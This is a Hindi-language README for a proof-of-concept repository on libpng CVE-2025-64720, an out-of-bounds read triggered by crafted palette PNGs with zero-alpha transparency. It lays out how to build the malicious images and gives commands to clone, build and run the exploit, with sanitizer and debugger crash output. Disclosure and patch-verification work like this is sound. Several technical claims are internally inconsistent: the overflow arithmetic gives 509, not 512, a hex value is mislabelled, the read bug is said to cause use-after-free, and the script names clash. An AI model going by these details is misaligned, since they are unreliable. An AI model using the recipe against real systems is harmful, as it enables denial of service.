CVE-2025-64720: libpng में पैलेट प्रीमल्टिप्लिकेशन में बफर ओवरफ़्लो

स्थिति: पैच किया गया
गंभीरता: उच्च
CVE ID: CVE-2025-64720
खोज तिथि: 2025-11-XX
सार्वजनिक प्रकटीकरण: 2025-11-21

अवलोकन

सारांश

libpng के png_image_read_composite फ़ंक्शन में एक आउट-ऑफ़-बाउंड रीड भेद्यता मौजूद है, जब PNG_FLAG_OPTIMIZE_ALPHA सक्षम के साथ पैलेट इमेज को प्रोसेस किया जाता है। png_init_read_transformations में पैलेट कम्पोज़िटिंग कोड प्रीमल्टिप्लिकेशन के दौरान गलत तरीके से बैकग्राउंड कम्पोज़िटिंग लागू करता है, जो सरलीकृत PNG API के लिए आवश्यक component ≤ alpha × 257 अपरिवर्तनीयता का उल्लंघन करता है, जिससे मेमोरी भ्रष्टाचार होता है।

भेद्यता विवरण

मूल कारण

png_init_read_transformations में लाइन ~1336 पर, पैलेट विस्तार कोड निम्नलिखित प्रदर्शन करता है:

component += (255-alpha)*png_sRGB_table[outrow[c]];

यह गणना component मानों को 16,776,960 (0x1000800) तक उत्पन्न करती है, जहाँ (component >> 15) == 512 है। png_image_read_composite में बाद का PNG_sRGB_FROM_LINEAR मैक्रो आउट-ऑफ़-बाउंड ऐरे एक्सेस करता है:

png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
// दोनों ऐरे में केवल इंडेक्स 0-511 (आकार 512) हैं

समस्या तब होती है जब:

PNG पैलेट मोड (कलर टाइप 3) का उपयोग पारदर्शिता (tRNS चंक) के साथ करता है
एप्लिकेशन अल्फा-सक्षम प्रारूप के साथ सरलीकृत API का उपयोग करता है
PNG_FLAG_OPTIMIZE_ALPHA आंतरिक रूप से सक्षम है
पैलेट विस्तार बैकग्राउंड कम्पोज़िटिंग के साथ प्रीमल्टिप्लिकेशन करता है

भेद्य घटक

फ़ाइल: pngread.c, pngtrans.c
फ़ंक्शन: png_image_read_composite, png_init_read_transformations
कोड पथ: सरलीकृत API → अल्फा ऑप्टिमाइज़ेशन के साथ पैलेट विस्तार

अपरिवर्तनीयता उल्लंघन

अपेक्षित: component ≤ alpha × 257
         सुनिश्चित करता है (component >> 15) ≤ 511 (ऐरे सीमा के भीतर)

वास्तविक: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         alpha=0, RGB=255 के साथ: component अपेक्षित सीमा से अधिक हो सकता है
         
परिणाम:   (component >> 15) 512 के बराबर हो सकता है (सीमा से बाहर एक्सेस)

प्रभावित संस्करण

भेद्य संस्करण

सॉफ़्टवेयर: libpng
संस्करण: 1.6.51 से कम सभी संस्करण
प्लेटफ़ॉर्म: Linux, Windows, macOS, BSD, आदि
आर्किटेक्चर: x86, x64, ARM, ARM64, आदि

पैच किए गए संस्करण

पहला पैच संस्करण: 1.6.51
रिलीज़ तिथि: 2025-11-21
पैच कमिट: 08da33b

संस्करण पहचान

# विधि 1: pkg-config
pkg-config --modversion libpng

# विधि 2: प्रत्यक्ष लाइब्रेरी क्वेरी
libpng-config --version

# विधि 3: बाइनरी जाँच
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# विधि 4: स्रोत से
grep PNG_LIBPNG_VER_STRING png.h

तकनीकी विश्लेषण

आक्रमण वेक्टर

एक हमलावर विशिष्ट विशेषताओं वाली एक दुर्भावनापूर्ण PNG फ़ाइल बनाकर इस भेद्यता का शोषण कर सकता है:

आक्रमण पूर्वापेक्षाएँ:
- लक्ष्य एप्लिकेशन libpng < 1.6.51 का उपयोग करता है
- एप्लिकेशन सरलीकृत PNG API (png_image_* फ़ंक्शन) का उपयोग करता है
- एप्लिकेशन अल्फा-सक्षम आउटपुट प्रारूप (जैसे RGBA, ARGB) का अनुरोध करता है
आक्रमण चरण:
- tRNS चंक के साथ पैलेट PNG (रंग प्रकार 3) बनाएँ
- पैलेट प्रविष्टियों को अधिकतम RGB मानों (255, 255, 255) पर सेट करें
- कई पैलेट प्रविष्टियों के लिए अल्फा मानों को शून्य पर सेट करें
- पीड़ित एप्लिकेशन PNG को अल्फा प्रारूप के साथ संसाधित करता है
- PNG_FLAG_OPTIMIZE_ALPHA आंतरिक रूप से सक्षम है
- पैलेट विस्तार घटक अपरिवर्तनीयता का उल्लंघन करता है
- आउट-ऑफ़-बाउंड ऐरे एक्सेस होता है
आक्रमण परिणाम:
- png_sRGB_base या png_sRGB_delta से आउट-ऑफ़-बाउंड रीड
- मेमोरी भ्रष्टाचार से हीप-यूज़-आफ्टर-फ्री होता है
- एप्लिकेशन क्रैश (सेवा अस्वीकार)
- OOB रीड के माध्यम से संभावित सूचना प्रकटीकरण

मेमोरी लेआउट

┌─────────────────┐
│ png_sRGB_base   │  ऐरे इंडेक्स: 0-511 (512 प्रविष्टियाँ)
│ [512 प्रविष्टियाँ]  │  मान्य एक्सेस: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB एक्सेस]    │  इंडेक्स 512 ← भेद्य एक्सेस जब component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  ऐरे इंडेक्स: 0-511 (512 प्रविष्टियाँ)
│ [512 प्रविष्टियाँ]  │  समान OOB एक्सेस के लिए भी भेद्य
├─────────────────┤
│ आसन्न मेमोरी   │  संभावित सूचना प्रकटीकरण
└─────────────────┘

गणना जो ओवरफ़्लो का कारण बनती है:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

जब alpha=0 और palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (सीमा से बाहर!)

ट्रिगर स्थितियाँ

आवश्यक शर्तें:

PNG रंग प्रकार 3 (अनुक्रमित/पैलेट)
tRNS चंक मौजूद (पारदर्शिता)
tRNS चंक में अल्फा मान 0
पैलेट में उच्च RGB मान (विशेषकर 255, 255, 255)
सरलीकृत API उपयोग (png_image_finish_read)
अल्फा-सक्षम प्रारूप (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA फ़्लैग के साथ)

वैकल्पिक कारक:

PNG_FORMAT_FLAG_AFIRST वाला प्रारूप क्रैश की संभावना बढ़ाता है
बड़ी छवियाँ बग को ट्रिगर करने के अधिक अवसर प्रदान करती हैं
कई शून्य-अल्फा पैलेट प्रविष्टियाँ विश्वसनीयता बढ़ाती हैं

गैर-ट्रिगरिंग स्थितियाँ:

libpng >= 1.6.51 (पैच किया गया)
अतिरिक्त फ़्लैग के बिना PNG_FORMAT_RGBA (कभी-कभी सुरक्षित)
गैर-पैलेट रंग प्रकार (RGB, ग्रेस्केल, आदि)
पारदर्शिता के बिना पैलेट
सभी अल्फा मान = 255 (पूरी तरह से अपारदर्शी)

प्रमाण-अवधारणा (Proof of Concept)

त्वरित प्रारंभ

# रिपॉजिटरी क्लोन करें
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# इमेज जनरेट करें
python3 generate-images.py

# टेस्ट बनाएँ
chmod +x build.sh
./build.sh

# एक्सप्लॉइट चलाएँ (भेद्य libpng < 1.6.51 की आवश्यकता है)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC घटक

1. एक्सप्लॉइट जनरेटर (`generate-images.py`)

दुर्भावनापूर्ण PNG फ़ाइलें उत्पन्न करता है जो भेद्यता को ट्रिगर करती हैं।

उपयोग:

python3 generate_poc.py

आउटपुट:

exploit_v1.png - 8x8 इमेज, एकसमान सफेद पैलेट, शून्य अल्फा
exploit_v2.png - 8x8 इमेज, रणनीतिक पैलेट भिन्नता
exploit_v3.png - 64x64 इमेज, बड़ी दोहराए गए पैटर्न के साथ
exploit_v4.png - 4x4 इमेज, न्यूनतम मामला सभी-शून्य अल्फा के साथ

विकल्प:

# विशिष्ट वेरिएंट उत्पन्न करें
generate_malicious_png('custom.png', variant=2)

# वेरिएंट:
# 1: अधिकतम RGB मान शून्य अल्फा के साथ (विश्वसनीय)
# 2: अधिकतम ओवरफ़्लो के लिए डिज़ाइन किया गया रणनीतिक पैलेट
# 3: दोहराए गए ट्रिगरिंग पैटर्न के साथ बड़ी छवि
# 4: वैश्विक-बफर-ओवरफ़्लो को लक्षित करने वाला न्यूनतम मामला

2. टेस्ट (`test.c`)

सरलीकृत API का उपयोग करके PNG फ़ाइलों को संसाधित करता है और भेद्यता प्रदर्शित करता है।

संकलन:

# AddressSanitizer के साथ (अनुशंसित - सर्वोत्तम पहचान)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# UndefinedBehaviorSanitizer के साथ
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# डिबगिंग प्रतीकों के साथ
gcc -o test_debug test.c -lpng -g -O0

# Valgrind के लिए
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

विशेषताएँ:

कई अल्फा-सक्षम प्रारूपों का परीक्षण करता है (RGBA, ARGB, LINEAR_RGB_ALPHA)
libpng संस्करण और भेद्यता स्थिति प्रदर्शित करता है
सत्यापन के लिए पहला पिक्सेल मान दिखाता है
व्यापक त्रुटि प्रबंधन

अपेक्षित आउटपुट

भेद्य संस्करण पर (libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 का पता चला (भेद्य संस्करण)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

पैच किए गए संस्करण पर (libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] चेतावनी: libpng >= 1.6.51 का पता चला (भेद्यता पैच की गई है)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

प्रभाव

पुष्ट प्रभाव

सेवा अस्वीकार: दुर्भावनापूर्ण PNG फ़ाइलों को संसाधित करते समय विश्वसनीय एप्लिकेशन क्रैश
मेमोरी भ्रष्टाचार: OOB रीड के कारण हीप-यूज़-आफ्टर-फ्री आंतरिक स्थिति को भ्रष्ट करता है
सूचना प्रकटीकरण: OOB रीड के माध्यम से आसन्न मेमोरी सामग्री का संभावित रिसाव

संभावित प्रभाव

दूरस्थ कोड निष्पादन: सैद्धांतिक रूप से संभव यदि मेमोरी भ्रष्टाचार को नियंत्रित किया जा सके, हालाँकि प्रदर्शित नहीं किया गया
ब्राउज़र शोषण: भेद्य libpng का उपयोग करने वाले वेब ब्राउज़र दुर्भावनापूर्ण साइटों पर जाने पर क्रैश हो सकते हैं

चरण-दर-चरण पुनरुत्पादन

चरण 1: एक्सप्लॉइट उत्पन्न करें

python3 generate_poc.py

अपेक्षित आउटपुट:

======================================================================
libpng Out-of-Bounds Read PoC Generator
भेद्यता: पैलेट + पारदर्शिता + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] वेरिएंट 1 उत्पन्न: exploit_v1.png
    आकार: 434 बाइट्स, आयाम: 8x8
[+] वेरिएंट 2 उत्पन्न: exploit_v2.png
    आकार: 434 बाइट्स, आयाम: 8x8
[+] वेरिएंट 3 उत्पन्न: exploit_v3.png
    आकार: 2258 बाइट्स, आयाम: 64x64
[+] वेरिएंट 4 उत्पन्न: exploit_v4.png
    आकार: 356 बाइट्स, आयाम: 4x4

[+] उन्नत परीक्षण प्रोग्राम: test.c
[+] बिल्ड स्क्रिप्ट: build.sh

चरण 2: टेस्ट संकलित करें

chmod +x build.sh
./build.sh

अपेक्षित आउटपुट:

[*] टेस्ट बनाया जा रहा है...
[*] AddressSanitizer के साथ बनाया जा रहा है...
[*] UBSan के साथ बनाया जा रहा है...
[*] डिबग संस्करण बनाया जा रहा है...
[*] Valgrind के लिए बनाया जा रहा है...

[+] बिल्ड पूर्ण। निष्पादन योग्य:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

चरण 3: एक्सप्लॉइट निष्पादित करें

./test_asan exploit_v1.png

अपेक्षित परिणाम (भेद्य - libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 का पता चला (भेद्य संस्करण)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

अपेक्षित परिणाम (पैच किया गया - libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] चेतावनी: libpng >= 1.6.51 का पता चला (भेद्यता पैच की गई है)

=== Testing: exploit_v1.png ===
[सभी परीक्षण बिना क्रैश के सफलतापूर्वक पूर्ण]

वैकल्पिक परीक्षण विधियाँ

Valgrind के साथ

gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

अपेक्षित आउटपुट (भेद्य):

==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

GDB के साथ

gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# प्रोग्राम क्रैश हो जाएगा

(gdb) bt
# png_safe_execute के साथ शीर्ष पर बैकट्रेस दिखाता है

(gdb) info registers
(gdb) x/32wx $rsp
# क्रैश पर मेमोरी स्थिति की जाँच करें

LLDB के साथ (macOS M1-M4)

lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# प्रोग्राम क्रैश हो जाएगा

(lldb) bt
# बैकट्रेस दिखाता है

(lldb) register read
(lldb) memory read -c 32 -- $sp

संदर्भ

आधिकारिक स्रोत

विक्रेता सलाह: http://www.libpng.org/pub/png/libpng.html
CVE प्रविष्टि: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
libpng होमपेज: http://www.libpng.org/pub/png/libpng.html

तकनीकी विवरण

बग रिपोर्ट: https://github.com/pnggroup/libpng/issues/686
पैच कमिट: https://github.com/pnggroup/libpng/commit/08da33b
पुल रिक्वेस्ट: https://github.com/pnggroup/libpng/pull/751
रिलीज़ नोट्स: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

क्रेडिट

खोज

Samsung-PENTEST - सुरक्षा शोधकर्ता
weijinjinnihao - सुरक्षा शोधकर्ता
yosiimich - सुरक्षा शोधकर्ता

विश्लेषण और फिक्स

Fabio Gritti (Artiphishell) - ट्राइएज और विश्लेषण
John Bowler - libpng डेवलपर, फिक्स योगदानकर्ता
Cosmin Truta - libpng अनुरक्षक, पैच कार्यान्वयन

परीक्षण

truediogo - PoC विकास और सत्यापन

कानूनी और नैतिक विचार

अस्वीकरण

⚠️ महत्वपूर्ण: यह PoC केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।

यह कोड इसके लिए अभिप्रेत है:
- सुरक्षा अनुसंधान
- आपके स्वामित्व वाले सिस्टम का भेद्यता मूल्यांकन
- शैक्षणिक अध्ययन
- रक्षात्मक उपाय विकसित करना
- पैच सत्यापन
यह कोड इसके लिए अभिप्रेत नहीं है:
- सिस्टम तक अनधिकृत पहुँच
- दुर्भावनापूर्ण हमले
- हानि या क्षति पहुँचाना
- कोई भी अवैध गतिविधि
- बिना अनुमति के शोषण

इस कोड का उपयोग करके, आप सहमत हैं:

इसका उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है
सभी लागू कानूनों और विनियमों का पालन करें
अपने कार्यों की पूरी जिम्मेदारी लें
किसी भी दुरुपयोग के लिए लेखकों को उत्तरदायी न ठहराएँ
जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें

CVE-2025-64720-PoC

सबसे लोकप्रिय